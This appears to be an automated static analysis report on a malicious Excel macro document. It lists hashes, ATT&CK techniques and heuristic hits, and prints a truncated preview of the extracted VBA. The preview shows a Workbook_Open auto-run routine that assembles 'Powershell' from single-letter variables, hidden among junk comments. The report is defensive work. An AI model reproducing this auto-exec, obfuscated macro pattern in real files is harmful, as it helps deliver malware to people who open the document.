Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 da5d200c66f0e048…

MALICIOUS

Office (OOXML)

20.0 KB Created: 2021-09-19 13:00:02 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-07
MD5: eb58a78b6fdea0c3b07135a13cfc5cfe SHA-1: ece1b56c2c74969418b1d69e88d4acfb58d481e5 SHA-256: da5d200c66f0e04872f8e6df98c7e17109fcb5bc44a0d2ef60f223cd42fadabd
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The OOXML file contains a Workbook_Open VBA macro that is triggered automatically when the document is opened. This macro uses CreateObject to execute a PowerShell command, indicated by the string concatenation 'P' + 'o' + 'w' + 'e' + 'r' + 's' + 'h' + 'e' + 'l' + 'l' + '.exe'. The likely intent is to download and execute a second-stage payload from a remote source, making this a typical macro-based downloader.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7534 bytes
SHA-256: 01413908ec4bde7eb53d0cf0701b692927ee08aca8d54f6fe7cd90adb3f42aad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
'TcZfHtEUVIBLIEYbwMHIMFdyHeRTFZcosQLuwYvWYZYwToeQosEJeNKnZH

'Copy the defined range
'Set focus on the target bookmark
'Delete the old table and paste new
On Error Resume Next
WdRange.Tables(1).Delete
WdRange.Paste 'paste in the table
'Adjust column widths

'Reinsert the bookmark
wdDoc.Bookmarks.Add "DataTableHere", WdRange
'Memory cleanup
'MsgBox ("iBtctLVJKz   caitvaeBt")
'wknSDYcMvBNRWPXCihpLkDRohKVHVXuYdAyoXsvTyAIvsUWhNHnSueiMtbLSdAQokPOCsJERVruOU
'uXttra
Dim IcvMVN, QWbVOU
'vbNfceuTzw
WbSVY = "P"
'ksVEZSSEcMevPdfQDXRdGTQMDefzETwwuARcHLbwLLRonkwztFcNOCp  MWFEiGYVVpuTofLUXoeFtOGkAcYFrNsYPsCFNKHfXXNbRZdcryHhiJRYrsdeIyGkSoeXIhhuMYIAbFtBZV
PDvPEPJf = "o"
'wuzLMYOSbG  ksVEZSSEcMevPdfQDXRdGTQMDefzETwwuARcHLbwLLRonkwztFcNOCp
HCShoHNWBa = "w"
'TZoHIvfpBUKWCLdMsCYLNoMNvpHwuXFTHJWXDWvQQLByfAzLTwPNALPGoFrzKVWDrRnTPhkzvkUbR DNSRZYaWci
sG = "e"
'TZoHIvfpBUKWCLdMsCYLNoMNvpHwuXFTHJWXDWvQQLByfAzLTwPNALPGoFrzKVWDrRnTPhkzvkUbR DNSRZYaWci
QLrSFXtRUBr = "r"
'yFLakXz WZUHXukMiOzWXcfszHnSZoWdFzdMPEJHFkrUyMWZMHfXrKLRQMXRsLGIcR
WFTsB = "s"
'TcZfHtEUVIBLIEYbwMHIMFdyHeRTFZcosQLuwYvWYZYwToeQosEJeNKnZH WZUHXukMiOzWXcfszHnSZoWdFzdMPEJHFkrUyMWZMHfXrKLRQMXRsLGIcR
cHXpUZQPHXu = "h"
'MWFEiGYVVpuTofLUXoeFtOGkAcYFrNsYPsCFNKHfXXNbRZdcryHhiJRYrsdeIyGkSoeXIhhuMYIAbFtBZV wuzLMYOSbG
GekAiADJFZU = "e"
'wuzLMYOSbG WZUHXukMiOzWXcfszHnSZoWdFzdMPEJHFkrUyMWZMHfXrKLRQMXRsLGIcR
dZYMRtaMIZn = "l"
'yaATursoEkAQPobMrKBwszawGPAPiPrXAZDdRreYrocGHYyQFENNNMfYap DNSRZYaWci
OOra = "l"
'zMCVbPPeFoiRoWFoohdQfynEhaerKBYsapFcCaFUBaMBGdKBYXbYpJpatXOaLAzdrRQesDQuHpreLTYdsItNzahtZEKFuEkbGIhP
'ksVEZSSEcMevPdfQDXRdGTQMDefzETwwuARcHLbwLLRonkwztFcNOCp  wuzLMYOSbG
'EhDBXykrKODaJcMyuPXdpbaMoCIDwhMsYwWBHLMswahENcKiJiiIraD  AXrrJwb
'TZoHIvfpBUKWCLdMsCYLNoMNvpHwuXFTHJWXDWvQQLByfAzLTwPNALPGoFrzKVWDrRnTPhkzvkUbR DNSRZYaWci
With Selection
.ClearContents
.Borders(xlDiagonalDown).LineStyle = xlNone
.Borders(xlDiagonalUp).LineStyle = xlNone
.Borders(xlEdgeLeft).LineStyle = xlNone
.Borders(xlEdgeTop).LineStyle = xlNone
.Borders(xlEdgeBottom).LineStyle = xlNone
.Borders(xlEdgeRight).LineStyle = xlNone
.Borders(xlInsideVertical).LineStyle = xlNone
.Borders(xlInsideHorizontal).LineStyle = xlNone
.Interior.ColorIndex = xlNone
End With
With Application.FileSearch
.NewSearch
'Change path to suit
.LookIn = "/Users/lcw/Desktop/excel"
.FileType = msoFileTypeExcelWorkbooks
If .Execute > 0 Then
For lCount = 1 To .FoundFiles.Count
Set wbResults = Workbooks.Open(Filename:=.FoundFiles(lCount), UpdateLinks:=0)
Sheets("US").Select
Rows("1:1").Select
Selection.Delete Shift:=xlUp
wbResults.Close SaveChanges:=True
Next lCount
End If
End With
Application.ScreenUpdating = True
Application.DisplayAlerts = True
Application.EnableEvents = True
'AXrrJwb  yFLakXz
'  TcZfHtEUVIBLIEYbwMHIMFdyHeRTFZcosQLuwYvWYZYwToeQosEJeNKnZH
'MWFEiGYVVpuTofLUXoeFtOGkAcYFrNsYPsCFNKHfXXNbRZdcryHhiJRYrsdeIyGkSoeXIhhuMYIAbFtBZV  VOVcQbzdNvXzXFThnCFvcPpnoBMAfrZnzBGFODRtvIAVtnLEOwsTdUifEHOrrZYyvJaBZotRLiZAnnXZ
' CnikcESC
'sUzZUtYwO
'wFc
'fpL
'VOVcQbzdNvXzXFThnCFvcPpnoBMAfrZnzBGFODRtvIAVtnLEOwsTdUifEHOrrZYyvJaBZotRLiZAnnXZ
Dim caitvaeBt As Long
'MsgBox Prompt:="wuzLMYOSbG?", _
Buttons:=yFLakXz , _
Title:="CnikcESC   "
'yaATursoEkAQPobMrKBwszawGPAPiPrXAZDdRreYrocGHYyQFENNNMfYap
'   MWFEiGYVVpuTofLUXoeFtOGkAcYFrNsYPsCFNKHfXXNbRZdcryHhiJRYrsdeIyGkSoeXIhhuMYIAbFtBZV
Dim r As Long, x As Long
For x = 2 To r Step 1
If Range("C" & r).Value = Range("C" & r).Offset(-1).Value Then
Range("C" & r).Offset(-1).EntireRow.Delete
End If
r = r - 1
Next x
'PiG
'AXrrJwb  yaATursoEkAQPobMrKBwszawGPAPiPrXAZDdRreYrocGHYyQFENNNMfYap
'PiG
'AXrrJwb   wuzLMYOSbG
'WZUHXukMiOzWXcfszHnSZoWdFzdMPEJHFkrUyMWZMHfXrKLRQMXRsLGIcR   yFLakXz
'MWFEiGYVVpuTofLUXo
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 28672 bytes
SHA-256: e1a0337092558ac31896e0fb983b03c0fcce842496dfbd9bfa33fb7ec4dbc16e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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